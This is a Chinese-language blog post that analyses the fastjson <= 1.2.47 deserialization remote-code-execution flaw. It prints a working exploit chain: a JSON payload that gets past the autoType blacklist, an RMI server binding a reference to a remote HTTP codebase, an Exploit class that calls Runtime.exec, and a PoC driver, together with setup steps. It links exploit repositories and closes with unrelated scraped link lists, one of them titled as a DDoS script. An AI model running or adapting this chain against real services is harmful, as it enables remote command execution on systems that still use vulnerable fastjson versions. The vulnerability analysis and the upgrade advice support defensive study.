fastjson =< 1.2.47 反序列化漏洞浅析

iiusky 洛米唯熊 今天

文章出处:

https://www.03sec.com/3240.shtmlhttps://www.secquan.org/   圈子社区牛逼!!!

作者:iiusky

#poc

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}

最近据说爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升级到> 1.2.47版本(保险起见,建议升级到最新版)

环境准备

阅读本篇文章之前建议先了解一下fastjson中的jndi漏洞利用方式。

## rmiServer.java

/* * Copyright sky 2019-07-11 Email:sky@03sec.com. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * *      http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */package cn.org.javaweb.fastjsontest;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;
/** * @author sky */public class test3 {
public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Exloit", "Exploit","http://localhost:8000/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Exploit",referenceWrapper); }}

##Exploit.java

 

import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;
public class Exploit implements ObjectFactory {
@Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { exec("xterm"); return null; }
public static String exec(String cmd) { try { Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator"); } catch (IOException e) { e.printStackTrace(); } return ""; }
public static void main(String[] args) { exec("123"); }}

##poc.java

/* * Copyright sky 2019-07-11 Email:sky@03sec.com. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * *      http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */package cn.org.javaweb.fastjsontest;
import com.alibaba.fastjson.JSON;
/** * @author sky */public class test5 {
public static void main(String[] argv) { String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," + "\"xxxx\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":" + "\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}}"; JSON.parse(payload); }
}

其中Exploit.java需要使用javac编译执行一次生成Exploit.class并放置在localhost:8000端口的根目录。我这边使用python简单的httpServer搭建的简易http服务器。

调用分析

调用过程和之前的 《fastjson jndi利用方式》 差不多,这边使用了一个特性绕过了黑名单机制,在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)执行逻辑中:

首先遇到的是第一个key@type,然后进行了以下的判断,如果是@type并且启用了特殊key检查的话,那么就把对应的value作为类来加载。这边摘取片段来进行展示。

if (key == JSON.DEFAULT_TYPE_KEY&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { ………… ………… …………if (object != null&&object.getClass().getName().equals(typeName)) {    clazz = object.getClass();} else {     clazz = config.checkAutoType(typeName, null, lexer.getFeatures()); } ………… ………… …………
Object obj = deserializer.deserialze(this, clazz, fieldName); return obj;
}

fastjson会去检测@type的类是否为黑名单中的类,

而poc中传入的@typejava.lang.class并非黑名单中的类,所以第一步检测的通过的。

接下来会把对应的value进行加载,也就是加载java.lang.class

跟进deserialze方法(com.alibaba.fastjson.serializer.MiscCodec#deserialze)

可以看到lexer中的stringVal为poc中的val,而val的值为com.sun.rowset.JdbcRowSetImpl.

接下来将objVal赋值给strVal

然后执行下面一大串if判断,其中有个if为:
如果传入的clazz为java.lang.class,则会调用TypeUtils.loadClass加载com.sun.rowset.JdbcRowSetImpl类,

跟进loadClass方法

从而导致checkAutoType在检测是否为黑名单的时候绕了过去,因为上一步将com.sun.rowset.JdbcRowSetImpl放入了mapping中,checkAutoType中使用TypeUtils.getClassFromMapping(typeName)去获取class不为空,从而绕过了黑名单检测

导致将com.sun.rowset.JdbcRowSetImpl放入mapping中的问题点是在loadClass中的第三个参数,该参数是指是否对class放入缓存mapping中。

com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)

1.2.47版本中的代码

1.2.48版本中的代码

##结语

文章中有不对的点欢迎指出,勿喷,文明交流

##参考

https://github.com/iBearcat/FastJson-JdbcRowSetImpl-RCEhttps://github.com/MagicZer0/fastjson-rce-exploit

想了解更多 欢迎关注

fastjson =< 1.2.47 反序列化漏洞浅析的更多相关文章

  1. fastjson =< 1.2.47 反序列化漏洞复现

    fastjson =< 1.2.47 反序列化漏洞复现 HW期间爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升 ...

  2. fastjson<=1.2.47反序列化漏洞复现

    0x00:前言 这个漏洞爆出来之后本来一直打算挑时间去复现,后来一个朋友突然发来他们站点存在fastjson这个漏洞被白帽子发了报告.既然漏洞环境送上门来,我便打算直接下手试一试.在我的想象中当然是一 ...

  3. Fastjson 1.2.22-24 反序列化漏洞分析

    目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...

  4. Fastjson 1.2.22-24 反序列化漏洞分析(2)

    Fastjson 1.2.22-24 反序列化漏洞分析(2) 1.环境搭建 我们以ubuntu作为被攻击的服务器,本机电脑作为攻击者 本机地址:192.168.202.1 ubuntu地址:192.1 ...

  5. Fastjson 1.2.22-24 反序列化漏洞分析(1)

    Fastjson 1.2.22-24 反序列化漏洞分析(1) 前言 FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转 ...

  6. 【JNPF修改通告】fastjson≤1.2.80反序列化漏洞

    近日Fastjson Develop Team 发现 fastjson 1.2.80及以下存在新的风险,存在反序列化漏洞.攻击者可绕过默认autoType关闭限制,攻击远程服务器,风险影响较大,请大家 ...

  7. fastjson<=1.2.47反序列化RCE漏洞

    介绍:fastjson是一个Java语言编写的高性能功能完善的JSON库. 漏洞原因:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并通过json来填充其属性 ...

  8. fastjson<1.2.47 RCE 漏洞复现

    这两天爆出了 fastjson 的老洞,复现简单记录一下. 首先使用 spark 搭建一个简易的利用 fastjson 解析 json 的 http server. package cn.hackte ...

  9. 企业安全05-Fastjson <=1.2.47反序列化RCE漏洞(CNVD-2019-22238)

    Fastjson <=1.2.47反序列化RCE漏洞(CNVD-2019-22238) 一.漏洞描述 Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 ...

随机推荐

  1. java——HashSet类中的常见方法

    package com.xt.set; import java.util.HashSet; import java.util.Iterator; import java.util.Set; publi ...

  2. window.setInterval

    window.clearInterval与window.setInterval的用法 window.setInterval() 功能:按照指定的周期(以毫秒计)来调用函数或计算表达式. 语法:setI ...

  3. 【weixin】微信支付---PC网站微信支付

    一.PC网站支付 微信支付支持完成域名ICP备案的网站接入支付功能.PC网站接入支付后,可以通过JSAPI支付或Native支付,自行开发生成二维码,用户使用微信“扫一扫”来完成支付. 二.支付产品介 ...

  4. DDOS攻击脚本

    import sysimport osimport timeimport socketimport random#Code Timefrom datetime import datetimenow = ...

  5. Advanced Installer 不弹出预安装的软件的窗口

    需求:当他电脑上没有sql server client 的时候,或没有localdb的时候,那么安装包会弹出窗口,让他选择 一个组件 一个组件的安装 太麻烦. 有没有办法,打开安装包就安装 安装的过程 ...

  6. 阿里云环境中配置tomcat7可能出现的问题及解决方法

    前提是安装好了tomcat,但是输入ip+端口无法访问,那么情况有一下几种 (1)可能防火墙没有关闭 systemctl stop firewalld.service #停止firewall syst ...

  7. kbmMW均衡负载与容灾(1)

    kbmMW为均衡负载与容灾提供了很好的机制,支持多种实现方式,现在看看最简单的一种,客户端控制的容灾和简单的负载均衡. 现在,我们将kbmMWServer部署到不同的服务器,或者在同一服务器部署多份实 ...

  8. Intellij IDEA显示调用时序图插件SequenceDiagram

    1 推荐一个插件SequenceDiagram可以自动生成项目调用的时序图 安装好之后重启idea即可 2 使用,找到你要查询的方法

  9. 4G LTE 网只能提供数据服务,不能承载语音通话,该怎么理解?

    转:http://www.qbiao.com/16776.html 这个问题要从移动核心网的角度来理解.我们平时说的WCDMA.TD-SCDMA.TD-LTE其实通常指空口技术,即从手机到基站的通信技 ...

  10. Oracle【select from 语句】

    Oracle[select from  语句] 1.select基本功能介绍1)投影操作:结果集是源表中的部分“列”2)选择操作:结果集是源表中的部分“行”3)选择操作+投影操作:结果集是源表中的部分 ...